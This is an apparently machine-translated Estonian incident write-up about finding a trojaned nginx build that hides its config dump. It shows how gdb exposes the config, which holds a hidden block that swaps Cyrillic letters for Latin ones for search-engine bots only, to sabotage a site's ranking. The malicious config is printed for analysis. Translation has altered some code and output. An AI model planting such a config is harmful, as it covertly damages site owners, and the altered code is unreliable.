Kui ‘a’ ei ole võrdne ‘a’ga. Ühe häkkimise kummardused.

Üks mu tuttav sattus omalaadne olukord. Kuigi see oli Mihhailile äärmiselt ebameeldiv, oli see minule äärmiselt huvitav.

Pean ütlema, et mu sõber on täiesti UNIX-kasutaja: saab süsteemi ise üles seada, paigaldada mysql, php ja teha lihtsad seadistused. nginx.
Tal on kümmekond kuni paarteist kodulehte, mis on pühendatud ehitustööriistadele.

Üks selline leht, mis keskendub mootorsaagidele, on otsingumootorites tihedalt kohal. See leht on mittetulunduslik ülevaade, aga kellelegi tundub see siiski kõrval olevat ning nad on hakanud seda ründama. Kas DDoS, siis brute-force rünnakud või halvustavad kommentaarid, saadavad abusid hostimisettevõttele ja RKNile.
Ühtäkki kõik rahunes ja see rahu ei tõotanud head, ning leht hakkas järk-järgult langema otsingutulemuste ülemistelt ridadelt.

Kui 'a' ei ole 'a'. Ühe häkkimise jälgedes

See oli eelmäng, nüüd tuleb ise adminnikujutlus.

Aeg lähenes unele, kui telefon helises: «Saan, kas sa ei saaks mu serverit vaatama? Mul tundub, et mind on häkitud, tõestada ei saa, aga tunne ei jäta mind juba kolmandat nädalat. Kas ma peaksin lihtsalt paranoia vastu ravima?»

Edasi läks poole tunni arutelu, mille mõtte võib lühidalt kokku võtta nii:

  • häkkimise pinnas oli üsna viljakas;
  • häkker sai superkasutaja õigused;
  • rünnak (kui see toimus) oli sihitud just sellele saidile;
  • probleemsed kohad on parandatud ja nüüd tuleb vaid mõista, kas tungimist ikkagi toimus;
  • rünnak ei suutnud puudutada saidi koodi ja andmeid.

Viimase punkti osas.

Kui 'a' ei ole 'a'. Ühe häkkimise jälgedes

Maailma vaatab vaid valge IP front-endist. Back-endide ja front-endi vahel ei toimu mingit vahetust peale http(s), kasutajad/paroolid on erinevad, võtmeid ei vahetatud. Hallidel aadressidel on kõik pordid välja arvatud 80/443 suletud. Back-endide valged IP-d on teada ainult kahele kasutajale, kellele Mihhail täielikult usaldab.

Front-endis on paigaldatud Debian 9 ja kõne hetkel on süsteem eraldatud maailmast välise tulemüüriga ja peatatud.

«Ok, anna ligipääsud, — otsustan und tunniks edasi lükata. — Vaatan oma silmaga».

Siin ja edaspidi:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Võimaliku häkkimise otsingul

Käitan serverit, esmalt rescue-mode. Mountin kettad, sirvin auth-logisid, history, süsteemilogid jne, püüan võimalusel kontrollida failide loomise kuupäevi, kuigi ma mõistan, et korralik häkker oleks enda järel „puhastanud”, ja Mihhail on juba päris palju „jalajälgi” jätnud, samal ajal kui otsis.

Käivitun normaalses režiimis, eriti ei tea veel, mida otsida, uurin seadistusi. Esiteks huvitab mind nginx sest tegelikult ei ole front-endis peale selle midagi muud.
Seadistused on väikesed, hästi struktureeritud kümnesse faili, vaatan neid lihtsalt cat’järjestikku. Tundub, et kõik on puhas, aga kes teab, kas ma midagi jäi tähelepanuta include, teen siis täieliku nimekirja:

$ nginx -T
nginx: konfiguratsioonifail /usr/local/etc/nginx/nginx.conf süntaks on õige
nginx: konfiguratsioonifaili /usr/local/etc/nginx/nginx.conf test on edukas

Ei saanud aru: „Kus on nimekiri?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Teemale lisandub teine: „Miks on selline vana versioon nginx?“

Lisaks arvab süsteem, et versioon on uuem:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          väike, võimas, skaleeritav web/proxy server

Helistan:
— Miša, miks sa uuesti kompileerisid? nginx?
— Rahune maha, ma isegi ei tea, kuidas seda teha!
— Ok, noh, maga...

Nginx kindlasti on see uuesti kompileeritud ja loendi väljund on „-T“ tõttu varjatud mitte põhjuseta. Kahtlusi häkkimises ei ole ja seda võib lihtsalt aktsepteerida ning (kuna Miša igal juhul asendas serveri uuega) lugeda probleem lahendatuks.

Ja, ja on tõsi, et kui keegi on saanud õigused rootsiis on mõttekas teha ainult süsteemi uuesti installimine, ja pole mõtet otsida, mis seal oli valesti tehtud, kuid seekord võitis uudishimu une. Kuidas teada saada, mida meie eest peidetakse?

Proovime jälgida:

$ strace nginx -T

Vaadates, on jälgimisel selgelt puudu read nagu

write(1, "/etc/nginx/nginx.conf", 21)   = 21
write(1, "..."
write(1, "n", 1

Huvi pärast võrreldes väljunditega

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mõtle, et osa koodist /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

oli viidud sellisesse vormi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

või

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

seega loetelu „-T“ ei kuvata.

Aga kuidas meie konfiguratsiooni vaadata?

Kui mu mõte on õige ja probleem on ainult muutuja ngx_dump_config proovime selle seadistada gdb, kuna võtme --with-cc-opt -g on olemas ja loodame, et optimeerimine -O2 ei häiri meid. Samuti, kuna ma ei tea, kuidas ngx_dump_config võidi töödelda juhtum 'T':, ei kutsu seda plokki, vaid seadistame selle kasutades juhtum 't':

Miks saab kasutada '-t' koos '-T'-gaploki töötlemine if(ngx_dump_config) toimub sees if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "konfiguratsioonifail %s test on edukas",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# konfiguratsioonifail ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Loomulikult, kui kood on muudetud selles osas, mitte juhtum 'T':, siis mu meetod ei sobi.

Test nginx.confProbleemi praktilise lahendamise käigus kindlaks tehtud, et pahavara töötamiseks on vajalik minimaalne konfiguratsioon nginx kujul:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Kasutame seda artiklis lühi kokkuvõttena.

Käivitame siluri

$ gdb --silent --args nginx -t
Lugedes sümbolid nginx...tehtud.
(gdb) break main
Peatamise punkti 1 aadressil 0x1f390: fail src/core/nginx.c, rida 188.
(gdb) run
Programm käivitamine: nginx -t
[Thread debugging using libthread_db enabled]
Kasutades hosti libthread_db teeki "/lib/x86_64-linux-gnu/libthread_db.so.1".

Peatamispunkt 1, main (argc=2, argv=0x7fffffffebc8) failis src/core/nginx.c:188
188     src/core/nginx.c: Sellist faili või katalooge pole.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Jätkame.
nginx: konfiguratsioonifaili /etc/nginx/nginx.conf süntaks on korras
nginx: konfiguratsioonifaili /etc/nginx/nginx.conf test on edukas
# konfiguratsioonifail /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# konfiguratsioonifail /etc/nginx/sites-enabled/default:

[Inferior 1 (protsess 32581) lõpetas normaalselt]
(gdb) quit

Sammud:

  • seame peatamispunkti funktsioonis main()
  • käivitage programm
  • muudame konfigureerimise väljundit määravat muutujat ngx_dump_config=1
  • jätkame/lõpetame programmi

Kuidas näeme, et reaalne konfiguratsioon erineb meie omast, eraldame sellest parasiitset osa:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Vaatame samm-sammult, mis siin toimub.

Määratakse User-Agent‘id yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Kanaliseeritakse teenuse lehelt wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ja nende jaoks, kes vastavad mõlemale ülaltoodud tingimusele

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

tekstid html-lehed muudetakse ‘о’ järgnevaga ‘o’ ja ‘а’ järgnevaga ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Just nii, peensusi on see, et ‘а’ != ‘a’ nagu ka ‘о’ != ‘o’:

Kui 'a' ei ole 'a'. Ühe häkkimise jälgedes

Nii saavad otsingumootorite robotid tavalise 100%-lausekirjalise teksti asemel modifitseeritud segaduse, milles on segatud ladina tähed. ‘a’ ja ‘o’. Ma ei julge spekuleerida, kuidas see mõjutab SEO-d, aga tundub, et selline täheline segadus ei mõjuta positsioone otsingutulemustes positiivselt.

Mis ma oskan öelda, loovus on ka.

Lingid

Silumine GDB abil
gdb(1) — Linuxi käsiraamat
strace(1) — Linuxi käsiraamat
Nginx — Moodul ngx_http_sub_module
Saagide, mootorsaagide ja elektrisaagide kohta

Allikas: habr.com

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster